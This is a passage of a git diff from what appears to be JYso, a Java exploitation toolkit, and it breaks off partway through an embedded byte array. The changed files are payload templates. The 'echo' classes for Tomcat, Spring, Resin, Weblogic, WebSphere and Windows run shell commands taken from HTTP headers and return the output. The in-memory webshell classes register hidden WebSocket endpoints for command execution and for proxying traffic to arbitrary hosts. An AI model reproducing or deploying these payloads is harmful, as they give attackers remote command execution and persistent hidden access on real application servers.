(clazz2 == null) { try { clazz2 = class$0 = Class.forName("java.io.DataInputStream"); diff --git a/src/main/java/com/qi4l/JYso/template/echoStatic/ResinEcho.java b/src/main/java/com/qi4l/JYso/template/echoStatic/ResinEcho.java index 67ba552..a9c8461 100644 --- a/src/main/java/com/qi4l/JYso/template/echoStatic/ResinEcho.java +++ b/src/main/java/com/qi4l/JYso/template/echoStatic/ResinEcho.java @@ -6,7 +6,7 @@ public class ResinEcho { static { try { - Class clazz = Thread.currentThread().getClass(); + Class clazz = Thread.currentThread().getClass(); java.lang.reflect.Field field = clazz.getSuperclass().getDeclaredField("threadLocals"); field.setAccessible(true); Object obj = field.get(Thread.currentThread()); @@ -26,10 +26,10 @@ public class ResinEcho { if (obj != null && obj.getClass().getName().equals("com.caucho.server.http.HttpRequest")) { com.caucho.server.http.HttpRequest httpRequest = (com.caucho.server.http.HttpRequest) obj; - String cmd = httpRequest.getHeader(CMD_HEADER); + String cmd = httpRequest.getHeader(CMD_HEADER); if (cmd != null && !cmd.isEmpty()) { - String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next(); + String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next(); com.caucho.server.http.HttpResponse httpResponse = httpRequest.createResponse(); httpResponse.setHeader("Content-Length", res.length() + ""); java.lang.reflect.Method method = httpResponse.getClass().getDeclaredMethod("createResponseStream", (Class) null); diff --git a/src/main/java/com/qi4l/JYso/template/echoStatic/SpringEcho.java b/src/main/java/com/qi4l/JYso/template/echoStatic/SpringEcho.java index ed8e26c..d334c9c 100644 --- a/src/main/java/com/qi4l/JYso/template/echoStatic/SpringEcho.java +++ b/src/main/java/com/qi4l/JYso/template/echoStatic/SpringEcho.java @@ -8,9 +8,9 @@ public class SpringEcho { try { org.springframework.web.context.request.RequestAttributes requestAttributes = org.springframework.web.context.request.RequestContextHolder.getRequestAttributes(); - javax.servlet.http.HttpServletRequest request = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getRequest(); - javax.servlet.http.HttpServletResponse response = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getResponse(); - String cmd = request.getHeader(CMD_HEADER); + javax.servlet.http.HttpServletRequest request = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getRequest(); + javax.servlet.http.HttpServletResponse response = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getResponse(); + String cmd = request.getHeader(CMD_HEADER); if (cmd != null && !cmd.isEmpty()) { response.getWriter().write(new String(q(cmd).toByteArray())); } diff --git a/src/main/java/com/qi4l/JYso/template/echoStatic/TomcatEcho.java b/src/main/java/com/qi4l/JYso/template/echoStatic/TomcatEcho.java index b64082a..933cfa5 100644 --- a/src/main/java/com/qi4l/JYso/template/echoStatic/TomcatEcho.java +++ b/src/main/java/com/qi4l/JYso/template/echoStatic/TomcatEcho.java @@ -6,10 +6,10 @@ public class TomcatEcho { static { try { - boolean flag = false; - ThreadGroup group = Thread.currentThread().getThreadGroup(); - ClassLoader loader = Thread.currentThread().getContextClassLoader(); - java.lang.reflect.Field f = group.getClass().getDeclaredField("threads"); + boolean flag = false; + ThreadGroup group = Thread.currentThread().getThreadGroup(); + ClassLoader loader = Thread.currentThread().getContextClassLoader(); + java.lang.reflect.Field f = group.getClass().getDeclaredField("threads"); f.setAccessible(true); Thread[] threads = (Thread[]) f.get(group); for (int i = 0; i < threads.length; i++) { @@ -46,7 +46,7 @@ public class TomcatEcho { Object processor = processors.get(j); f = processor.getClass().getDeclaredField("req"); f.setAccessible(true); - Object req = f.get(processor); + Object req = f.get(processor); Object resp = req.getClass().getMethod("getResponse", new Class[0]).invoke(req); str = (String) req.getClass().getMethod("getHeader", new Class[]{String.class}).invoke(req, new Object[]{CMD_HEADER}); if (str != null && !str.isEmpty()) { diff --git a/src/main/java/com/qi4l/JYso/template/echoStatic/WindowsEcho.java b/src/main/java/com/qi4l/JYso/template/echoStatic/WindowsEcho.java index 13b86cc..be3bc47 100644 --- a/src/main/java/com/qi4l/JYso/template/echoStatic/WindowsEcho.java +++ b/src/main/java/com/qi4l/JYso/template/echoStatic/WindowsEcho.java @@ -8,24 +8,24 @@ public class WindowsEcho { java.lang.reflect.Field field = java.io.FileDescriptor.class.getDeclaredField("fd"); field.setAccessible(true); - Class clazz1 = Class.forName("sun.nio.ch.Net"); + Class clazz1 = Class.forName("sun.nio.ch.Net"); java.lang.reflect.Method method1 = clazz1.getDeclaredMethod("remoteAddress", new Class[]{java.io.FileDescriptor.class}); method1.setAccessible(true); - Class clazz2 = Class.forName("java.net.SocketOutputStream", false, null); + Class clazz2 = Class.forName("java.net.SocketOutputStream", false, null); java.lang.reflect.Constructor constructor2 = clazz2.getDeclaredConstructors()[0]; constructor2.setAccessible(true); - Class clazz3 = Class.forName("java.net.PlainSocketImpl"); + Class clazz3 = Class.forName("java.net.PlainSocketImpl"); java.lang.reflect.Constructor constructor3 = clazz3.getDeclaredConstructor(new Class[]{java.io.FileDescriptor.class}); constructor3.setAccessible(true); java.lang.reflect.Method write = clazz2.getDeclaredMethod("write", new Class[]{byte[].class}); write.setAccessible(true); - java.net.InetSocketAddress remoteAddress = null; - java.util.List list = new java.util.ArrayList(); - java.io.FileDescriptor fileDescriptor = new java.io.FileDescriptor(); + java.net.InetSocketAddress remoteAddress = null; + java.util.List list = new java.util.ArrayList(); + java.io.FileDescriptor fileDescriptor = new java.io.FileDescriptor(); for (int i = 0; i < 50000; i++) { field.set((Object) fileDescriptor, (Object) (new Integer(i))); try { @@ -41,10 +41,10 @@ public class WindowsEcho { for (int i = list.size() - 1; i >= 0; i--) { try { field.set((Object) fileDescriptor, list.get(i)); - Object socketOutputStream = constructor2.newInstance(new Object[]{constructor3.newInstance(new Object[]{fileDescriptor})}); - String[] cmd = new String[]{"cmd", "/C", "whoami"}; - String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next().trim(); - String result = "HTTP/1.1 200 OK\nConnection: close\nContent-Length: " + (res.length()) + "\n\n" + res + "\n\n"; + Object socketOutputStream = constructor2.newInstance(new Object[]{constructor3.newInstance(new Object[]{fileDescriptor})}); + String[] cmd = new String[]{"cmd", "/C", "whoami"}; + String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next().trim(); + String result = "HTTP/1.1 200 OK\nConnection: close\nContent-Length: " + (res.length()) + "\n\n" + res + "\n\n"; write.invoke(socketOutputStream, new Object[]{result.getBytes()}); break; } catch (Exception e) { diff --git a/src/main/java/com/qi4l/JYso/template/echoStatic/weblogicEcho.java b/src/main/java/com/qi4l/JYso/template/echoStatic/weblogicEcho.java index f07ab42..896f7f6 100644 --- a/src/main/java/com/qi4l/JYso/template/echoStatic/weblogicEcho.java +++ b/src/main/java/com/qi4l/JYso/template/echoStatic/weblogicEcho.java @@ -11,8 +11,8 @@ public class weblogicEcho { String cmd = (String) adapter.getClass().getMethod("getHeader", String.class).invoke(adapter, CMD_HEADER); if (cmd != null && !cmd.isEmpty()) { - String result = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next(); - weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl) adapter.getClass().getMethod("getResponse").invoke(adapter); + String result = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next(); + weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl) adapter.getClass().getMethod("getResponse").invoke(adapter); res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result)); res.getServletOutputStream().flush(); res.getWriter().write(""); @@ -25,8 +25,8 @@ public class weblogicEcho { String cmd = (String) obj.getClass().getMethod("getHeader", String.class).invoke(obj, "cmd"); if (cmd != null && !cmd.isEmpty()) { - String result = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next(); - weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl) obj.getClass().getMethod("getResponse").invoke(obj); + String result = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next(); + weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl) obj.getClass().getMethod("getResponse").invoke(obj); res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result)); res.getServletOutputStream().flush(); res.getWriter().write(""); diff --git a/src/main/java/com/qi4l/JYso/template/echoStatic/websphereEcho.java b/src/main/java/com/qi4l/JYso/template/echoStatic/websphereEcho.java index 9aa2329..865cbfc 100644 --- a/src/main/java/com/qi4l/JYso/template/echoStatic/websphereEcho.java +++ b/src/main/java/com/qi4l/JYso/template/echoStatic/websphereEcho.java @@ -2,13 +2,14 @@ package com.qi4l.JYso.template.echoStatic; import java.io.OutputStream; -import static com.qi4l.JYso.gadgets.Jackson3.getFieldValue; +import static com.qi4l.JYso.gadgets.utils.Reflections.getFieldValue; + public class websphereEcho { static { try { - Class clazz = Thread.currentThread().getClass(); + Class clazz = Thread.currentThread().getClass(); java.lang.reflect.Field field = clazz.getDeclaredField("wsThreadLocals"); field.setAccessible(true); Object obj = field.get(Thread.currentThread()); @@ -19,7 +20,7 @@ public class websphereEcho { if (o == null) continue; if (o.getClass().getName().endsWith("WebContainerRequestState")) { - Object req = o.getClass().getMethod("getCurrentThreadsIExtendedRequest", new Class[0]).invoke(o, new Object[0]); + Object req = o.getClass().getMethod("getCurrentThreadsIExtendedRequest", new Class[0]).invoke(o, new Object[0]); Object resp = o.getClass().getMethod("getCurrentThreadsIExtendedResponse", new Class[0]).invoke(o, new Object[0]); String cmd = (String) req.getClass().getMethod("getHeader", new Class[]{String.class}).invoke(req, new Object[]{"cmd"}); diff --git a/src/main/java/com/qi4l/JYso/template/memshellStatic/BypassNginxCDN/cmsMSBYNC.java b/src/main/java/com/qi4l/JYso/template/memshellStatic/BypassNginxCDN/cmsMSBYNC.java index d33417e..27ba987 100644 --- a/src/main/java/com/qi4l/JYso/template/memshellStatic/BypassNginxCDN/cmsMSBYNC.java +++ b/src/main/java/com/qi4l/JYso/template/memshellStatic/BypassNginxCDN/cmsMSBYNC.java @@ -28,29 +28,29 @@ public class cmsMSBYNC extends Endpoint implements MessageHandler.Whole static { try { - Map pathParams = Collections.emptyMap(); - List negotiatedExtensionsPhase = Collections.emptyList(); - Transformation transformation = null; - String subProtocol = null; + Map pathParams = Collections.emptyMap(); + List negotiatedExtensionsPhase = Collections.emptyList(); + Transformation transformation = null; + String subProtocol = null; Thread threadLocal = Thread.currentThread(); - Field workEntry = threadLocal.getClass().getDeclaredField("workEntry"); + Field workEntry = threadLocal.getClass().getDeclaredField("workEntry"); workEntry.setAccessible(true); weblogic.servlet.provider.ContainerSupportProviderImpl.WlsRequestExecutor wlsRequestExecutor = (ContainerSupportProviderImpl.WlsRequestExecutor) workEntry.get(threadLocal); - Field field1 = wlsRequestExecutor.getClass().getDeclaredField("connectionHandler"); + Field field1 = wlsRequestExecutor.getClass().getDeclaredField("connectionHandler"); field1.setAccessible(true); weblogic.servlet.internal.HttpConnectionHandler connectionHandler = (HttpConnectionHandler) field1.get(wlsRequestExecutor); - ServletRequestImpl request = connectionHandler.getServletRequest(); - ServletContext servletContext = request.getSession().getServletContext(); - ServerEndpointConfig configEndpoint = ServerEndpointConfig.Builder.create(cmsMSBYNC.class, "/x").build(); - WsServerContainer container = (WsServerContainer) servletContext.getAttribute(ServerContainer.class.getName()); + ServletRequestImpl request = connectionHandler.getServletRequest(); + ServletContext servletContext = request.getSession().getServletContext(); + ServerEndpointConfig configEndpoint = ServerEndpointConfig.Builder.create(cmsMSBYNC.class, "/x").build(); + WsServerContainer container = (WsServerContainer) servletContext.getAttribute(ServerContainer.class.getName()); ServletResponseImpl response = connectionHandler.getServletResponse(); response.setHeader(Constants.UPGRADE_HEADER_NAME, Constants.UPGRADE_HEADER_VALUE); response.setHeader(Constants.CONNECTION_HEADER_NAME, Constants.CONNECTION_HEADER_VALUE); response.setHeader(HandshakeResponse.SEC_WEBSOCKET_ACCEPT, getWebSocketAccept(request.getHeader("Sec-WebSocket-Key"))); response.setStatus(101); - WsHandshakeRequest wsRequest = new WsHandshakeRequest(request, pathParams); + WsHandshakeRequest wsRequest = new WsHandshakeRequest(request, pathParams); WsHandshakeResponse wsResponse = new WsHandshakeResponse(); configEndpoint.getConfigurator().modifyHandshake(configEndpoint, wsRequest, wsResponse); try { @@ -68,7 +68,7 @@ public class cmsMSBYNC extends Endpoint implements MessageHandler.Whole private static String getWebSocketAccept(String key) { byte[] WS_ACCEPT = "258EAFA5-E914-47DA-95CA-C5AB0DC85B11".getBytes(StandardCharsets.ISO_8859_1); - byte[] digest = ConcurrentMessageDigest.digestSHA1(key.getBytes(StandardCharsets.ISO_8859_1), WS_ACCEPT); + byte[] digest = ConcurrentMessageDigest.digestSHA1(key.getBytes(StandardCharsets.ISO_8859_1), WS_ACCEPT); return Base64.encodeBase64String(digest); } @@ -88,9 +88,9 @@ public class cmsMSBYNC extends Endpoint implements MessageHandler.Whole } else { process = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", s}); } - InputStream inputStream = process.getInputStream(); + InputStream inputStream = process.getInputStream(); StringBuilder stringBuilder = new StringBuilder(); - int i; + int i; while ((i = inputStream.read()) != -1) stringBuilder.append((char) i); inputStream.close(); diff --git a/src/main/java/com/qi4l/JYso/template/memshellStatic/BypassNginxCDN/proxyMSBYNC.java b/src/main/java/com/qi4l/JYso/template/memshellStatic/BypassNginxCDN/proxyMSBYNC.java index 942ab48..6fe3db9 100644 --- a/src/main/java/com/qi4l/JYso/template/memshellStatic/BypassNginxCDN/proxyMSBYNC.java +++ b/src/main/java/com/qi4l/JYso/template/memshellStatic/BypassNginxCDN/proxyMSBYNC.java @@ -39,33 +39,33 @@ public class proxyMSBYNC extends Endpoint { static { try { Thread threadLocal = Thread.currentThread(); - Field workEntry = threadLocal.getClass().getDeclaredField("workEntry"); + Field workEntry = threadLocal.getClass().getDeclaredField("workEntry"); workEntry.setAccessible(true); weblogic.servlet.provider.ContainerSupportProviderImpl.WlsRequestExecutor wlsRequestExecutor = (ContainerSupportProviderImpl.WlsRequestExecutor) workEntry.get(threadLocal); - Field field1 = wlsRequestExecutor.getClass().getDeclaredField("connectionHandler"); + Field field1 = wlsRequestExecutor.getClass().getDeclaredField("connectionHandler"); field1.setAccessible(true); weblogic.servlet.internal.HttpConnectionHandler connectionHandler = (HttpConnectionHandler) field1.get(wlsRequestExecutor); - ServletRequestImpl request = connectionHandler.getServletRequest(); - ServletResponseImpl response = connectionHandler.getServletResponse(); - ServletContext servletContext = request.getSession().getServletContext(); - ServerEndpointConfig configEndpoint = ServerEndpointConfig.Builder.create(proxyMSBYNC.class, "/x").build(); - WsServerContainer container = (WsServerContainer) servletContext.getAttribute(ServerContainer.class.getName()); - Map pathParams = Collections.emptyMap(); + ServletRequestImpl request = connectionHandler.getServletRequest(); + ServletResponseImpl response = connectionHandler.getServletResponse(); + ServletContext servletContext = request.getSession().getServletContext(); + ServerEndpointConfig configEndpoint = ServerEndpointConfig.Builder.create(proxyMSBYNC.class, "/x").build(); + WsServerContainer container = (WsServerContainer) servletContext.getAttribute(ServerContainer.class.getName()); + Map pathParams = Collections.emptyMap(); response.setHeader(Constants.UPGRADE_HEADER_NAME, Constants.UPGRADE_HEADER_VALUE); response.setHeader(Constants.CONNECTION_HEADER_NAME, Constants.CONNECTION_HEADER_VALUE); response.setHeader(HandshakeResponse.SEC_WEBSOCKET_ACCEPT, getWebSocketAccept(request.getHeader("Sec-WebSocket-Key"))); response.setStatus(101); - WsHandshakeRequest wsRequest = new WsHandshakeRequest(request, pathParams); + WsHandshakeRequest wsRequest = new WsHandshakeRequest(request, pathParams); WsHandshakeResponse wsResponse = new WsHandshakeResponse(); configEndpoint.getConfigurator().modifyHandshake(configEndpoint, wsRequest, wsResponse); try { - List negotiatedExtensionsPhase2 = Collections.emptyList(); - Transformation transformation = null; - String subProtocol = null; - RequestFacade requestFacade = getRequestFacade(request); - WsHttpUpgradeHandler wsHandler = requestFacade.upgrade(WsHttpUpgradeHandler.class); + List negotiatedExtensionsPhase2 = Collections.emptyList(); + Transformation transformation = null; + String subProtocol = null; + RequestFacade requestFacade = getRequestFacade(request); + WsHttpUpgradeHandler wsHandler = requestFacade.upgrade(WsHttpUpgradeHandler.class); if (wsHandler != null) { // Tomcat 8 preInit wsHandler.preInit(configEndpoint, container, wsRequest, negotiatedExtensionsPhase2, subProtocol, transformation, pathParams, request.isSecure()); @@ -80,16 +80,16 @@ public class proxyMSBYNC extends Endpoint { } } - long i = 0; - ByteArrayOutputStream baos = new ByteArrayOutputStream(); - HashMap map = new HashMap(); + long i = 0; + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + HashMap map = new HashMap(); private static RequestFacade getRequestFacade(HttpServletRequest request) { if (request instanceof RequestFacade) { return (RequestFacade) request; } else if (request instanceof HttpServletRequestWrapper) { - HttpServletRequestWrapper wrapper = (HttpServletRequestWrapper) request; - HttpServletRequest wrappedRequest = (HttpServletRequest) wrapper.getRequest(); + HttpServletRequestWrapper wrapper = (HttpServletRequestWrapper) request; + HttpServletRequest wrappedRequest = (HttpServletRequest) wrapper.getRequest(); return getRequestFacade(wrappedRequest); } else { throw new IllegalArgumentException("Cannot convert [" + request.getClass() + "] to org.apache.catalina.connector.RequestFacade"); @@ -98,13 +98,13 @@ public class proxyMSBYNC extends Endpoint { private static String getWebSocketAccept(String key) { byte[] WS_ACCEPT = "258EAFA5-E914-47DA-95CA-C5AB0DC85B11".getBytes(StandardCharsets.ISO_8859_1); - byte[] digest = ConcurrentMessageDigest.digestSHA1(key.getBytes(StandardCharsets.ISO_8859_1), WS_ACCEPT); + byte[] digest = ConcurrentMessageDigest.digestSHA1(key.getBytes(StandardCharsets.ISO_8859_1), WS_ACCEPT); return Base64.encodeBase64String(digest); } void readFromServer(Session channel, AsynchronousSocketChannel client) { final ByteBuffer buffer = ByteBuffer.allocate(50000); - Attach attach = new Attach(); + Attach attach = new Attach(); attach.client = client; attach.channel = channel; client.read(buffer, attach, new CompletionHandler() { @@ -113,8 +113,8 @@ public class proxyMSBYNC extends Endpoint { buffer.clear(); try { if (buffer.hasRemaining() && result >= 0) { - byte[] arr = new byte[result]; - ByteBuffer b = buffer.get(arr, 0, result); + byte[] arr = new byte[result]; + ByteBuffer b = buffer.get(arr, 0, result); baos.write(arr, 0, result); ByteBuffer q = ByteBuffer.wrap(baos.toByteArray()); if (scAttachment.channel.isOpen()) { @@ -124,8 +124,8 @@ public class proxyMSBYNC extends Endpoint { readFromServer(scAttachment.channel, scAttachment.client); } else { if (result > 0) { - byte[] arr = new byte[result]; - ByteBuffer b = buffer.get(arr, 0, result); + byte[] arr = new byte[result]; + ByteBuffer b = buffer.get(arr, 0, result); baos.write(arr, 0, result); readFromServer(scAttachment.channel, scAttachment.client); } @@ -149,13 +149,13 @@ public class proxyMSBYNC extends Endpoint { z.flip(); z.clear(); } else if (i == 1) { - String values = new String(z.array()); - String[] array = values.split(" "); - String[] addrarray = array[1].split(":"); - AsynchronousSocketChannel client = AsynchronousSocketChannel.open(); - int po = Integer.parseInt(addrarray[1]); - InetSocketAddress hostAddress = new InetSocketAddress(addrarray[0], po); - Future future = client.connect(hostAddress); + String values = new String(z.array()); + String[] array = values.split(" "); + String[] addrarray = array[1].split(":"); + AsynchronousSocketChannel client = AsynchronousSocketChannel.open(); + int po = Integer.parseInt(addrarray[1]); + InetSocketAddress hostAddress = new InetSocketAddress(addrarray[0], po); + Future future = client.connect(hostAddress); try { future.get(10, TimeUnit.SECONDS); } catch (Exception ignored) { @@ -190,6 +190,6 @@ public class proxyMSBYNC extends Endpoint { static class Attach { public AsynchronousSocketChannel client; - public Session channel; + public Session channel; } } diff --git a/src/main/java/com/qi4l/JYso/template/memshellStatic/Tomcat_Spring_Jetty/MsTSJproxy.java b/src/main/java/com/qi4l/JYso/template/memshellStatic/Tomcat_Spring_Jetty/MsTSJproxy.java index c2c49a8..81967ad 100644 --- a/src/main/java/com/qi4l/JYso/template/memshellStatic/Tomcat_Spring_Jetty/MsTSJproxy.java +++ b/src/main/java/com/qi4l/JYso/template/memshellStatic/Tomcat_Spring_Jetty/MsTSJproxy.java @@ -23,9 +23,9 @@ import java.util.concurrent.TimeUnit; public class MsTSJproxy extends Endpoint implements MessageHandler.Whole, CompletionHandler { static { - String path = "/proxy"; + String path = "/proxy"; WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); - StandardRoot standardroot = (StandardRoot) webappClassLoaderBase.getResources(); + StandardRoot standardroot = (StandardRoot) webappClassLoaderBase.getResources(); if (standardroot == null) { Field field = null; try { @@ -45,9 +45,9 @@ public class MsTSJproxy extends Endpoint implements MessageHandler.Whole map = new HashMap(); + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + HashMap map = new HashMap(); private Session session; private AsynchronousSocketChannel client = null; @@ -71,8 +71,8 @@ public class MsTSJproxy extends Endpoint implements MessageHandler.Whole= 0) { - byte[] arr = new byte[result]; - ByteBuffer b = buffer.get(arr, 0, result); + byte[] arr = new byte[result]; + ByteBuffer b = buffer.get(arr, 0, result); baos.write(arr, 0, result); ByteBuffer q = ByteBuffer.wrap(baos.toByteArray()); if (channel.isOpen()) { @@ -82,8 +82,8 @@ public class MsTSJproxy extends Endpoint implements MessageHandler.Whole 0) { - byte[] arr = new byte[result]; - ByteBuffer b = buffer.get(arr, 0, result); + byte[] arr = new byte[result]; + ByteBuffer b = buffer.get(arr, 0, result); baos.write(arr, 0, result); readFromServer(channel, client); } @@ -129,13 +129,13 @@ public class MsTSJproxy extends Endpoint implements MessageHandler.Whole future = client.connect(hostAddress); + String values = new String(z.array()); + String[] array = values.split(" "); + String[] addrarray = array[1].split(":"); + AsynchronousSocketChannel client = AsynchronousSocketChannel.open(); + int po = Integer.parseInt(addrarray[1]); + InetSocketAddress hostAddress = new InetSocketAddress(addrarray[0], po); + Future future = client.connect(hostAddress); try { future.get(10, TimeUnit.SECONDS); } catch (Exception ignored) { diff --git a/src/main/java/com/qi4l/JYso/template/memshellStatic/Tomcat_Spring_Jetty/MsTSJser.java b/src/main/java/com/qi4l/JYso/template/memshellStatic/Tomcat_Spring_Jetty/MsTSJser.java index 874ee04..d9d13a4 100644 --- a/src/main/java/com/qi4l/JYso/template/memshellStatic/Tomcat_Spring_Jetty/MsTSJser.java +++ b/src/main/java/com/qi4l/JYso/template/memshellStatic/Tomcat_Spring_Jetty/MsTSJser.java @@ -14,9 +14,9 @@ import java.lang.reflect.Method; public class MsTSJser { static { try { - String urlPath = "/cmd"; + String urlPath = "/cmd"; WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); - StandardRoot standardroot = (StandardRoot) webappClassLoaderBase.getResources(); + StandardRoot standardroot = (StandardRoot) webappClassLoaderBase.getResources(); if (standardroot == null) { Field field; try { @@ -29,14 +29,14 @@ public class MsTSJser { standardroot = (StandardRoot) field.get(webappClassLoaderBase); } StandardContext standardContext = (StandardContext) standardroot.getContext(); - ClassLoader cl = Thread.currentThread().getContextClassLoader(); - Class clazz; - byte[] bytes = new byte[]{-54, -2, -70, -66, 0, 0, 0, 49, 0, 118, 10, 0, 30, 0, 46, 8, 0, 47, 10, 0, 48, 0, 49, 10, 0, 8, 0, 50, 8, 0, 51, 10, 0, 8, 0, 52, 10, 0, 53, 0, 54, 7, 0, 55, 8, 0, 56, 8, 0, 57, 10, 0, 53, 0, 58, 8, 0, 59, 8, 0, 60, 10, 0, 61, 0, 62, 7, 0, 63, 10, 0, 15, 0, 46, 10, 0, 64, 0, 65, 10, 0, 15, 0, 66, 10, 0, 64, 0, 67, 10, 0, 61, 0, 68, 9, 0, 29, 0, 69, 11, 0, 70, 0, 71, 10, 0, 15, 0, 72, 11, 0, 73, 0, 74, 7, 0, 75, 10, 0, 25, 0, 76, 11, 0, 70, 0, 77, 10, 0, 29, 0, 78, 7, 0, 79, 7, 0, 80, 7, 0, 82, 1, 0, 7, 115, 101, 115, 115, 105, 111, 110, 1, 0, 25, 76, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 83, 101, 115, 115, 105, 111, 110, 59, 1, 0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 3, 40, 41, 86, 1, 0, 4, 67, 111, 100, 101, 1, 0, 9, 111, 110, 77, 101, 115, 115, 97, 103, 101, 1, 0, 21, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 86, 1, 0, 6, 111, 110, 79, 112, 101, 110, 1, 0, 60, 40, 76, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 83, 101, 115, 115, 105, 111, 110, 59, 76, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 69, 110, 100, 112, 111, 105, 110, 116, 67, 111, 110, 102, 105, 103, 59, 41, 86, 1, 0, 21, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 59, 41, 86, 1, 0, 9, 83, 105, 103, 110, 97, 116, 117, 114, 101, 1, 0, 5, 87, 104, 111, 108, 101, 1, 0, 12, 73, 110, 110, 101, 114, 67, 108, 97, 115, 115, 101, 115, 1, 0, 84, 76, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 69, 110, 100, 112, 111, 105, 110, 116, 59, 76, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 77, 101, 115, 115, 97, 103, 101, 72, 97, 110, 100, 108, 101, 114, 36, 87, 104, 111, 108, 101, 60, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 62, 59, 12, 0, 34, 0, 35, 1, 0, 7, 111, 115, 46, 110, 97, 109, 101, 7, 0, 83, 12, 0, 84, 0, 85, 12, 0, 86, 0, 87, 1, 0, 7, 119, 105, 110, 100, 111, 119, 115, 12, 0, 88, 0, 89, 7, 0, 90, 12, 0, 91, 0, 92, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 1, 0, 7, 99, 109, 100, 46, 101, 120, 101, 1, 0, 2, 47, 99, 12, 0, 93, 0, 94, 1, 0, 9, 47, 98, 105, 110, 47, 98, 97, 115, 104, 1, 0, 2, 45, 99, 7, 0, 95, 12, 0, 96, 0, 97, 1, 0, 23, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 66, 117, 105, 108, 100, 101, 114, 7, 0, 98, 12, 0, 99, 0, 100, 12, 0, 101, 0, 102, 12, 0, 103, 0, 35, 12, 0, 104, 0, 100, 12, 0, 32, 0, 33, 7, 0, 105, 12, 0, 106, 0, 108, 12, 0, 109, 0, 87, 7, 0, 111, 12, 0, 112, 0, 38, 1, 0, 19, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 69, 120, 99, 101, 112, 116, 105, 111, 110, 12, 0, 113, 0, 35, 12, 0, 114, 0, 115, 12, 0, 37, 0, 38, 1, 0, 10, 87, 101, 98, 83, 111, 99, 107, 101, 116, 67, 1, 0, 24, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 69, 110, 100, 112, 111, 105, 110, 116, 7, 0, 116, 1, 0, 36, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 77, 101, 115, 115, 97, 103, 101, 72, 97, 110, 100, 108, 101, 114, 36, 87, 104, 111, 108, 101, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 121, 115, 116, 101, 109, 1, 0, 11, 103, 101, 116, 80, 114, 111, 112, 101, 114, 116, 121, 1, 0, 38, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 11, 116, 111, 76, 111, 119, 101, 114, 67, 97, 115, 101, 1, 0, 20, 40, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 10, 115, 116, 97, 114, 116, 115, 87, 105, 116, 104, 1, 0, 21, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 90, 1, 0, 17, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 82, 117, 110, 116, 105, 109, 101, 1, 0, 10, 103, 101, 116, 82, 117, 110, 116, 105, 109, 101, 1, 0, 21, 40, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 82, 117, 110, 116, 105, 109, 101, 59, 1, 0, 4, 101, 120, 101, 99, 1, 0, 40, 40, 91, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 80, 114, 111, 99, 101, 115, 115, 59, 1, 0, 17, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 80, 114, 111, 99, 101, 115, 115, 1, 0, 14, 103, 101, 116, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109, 1, 0, 23, 40, 41, 76, 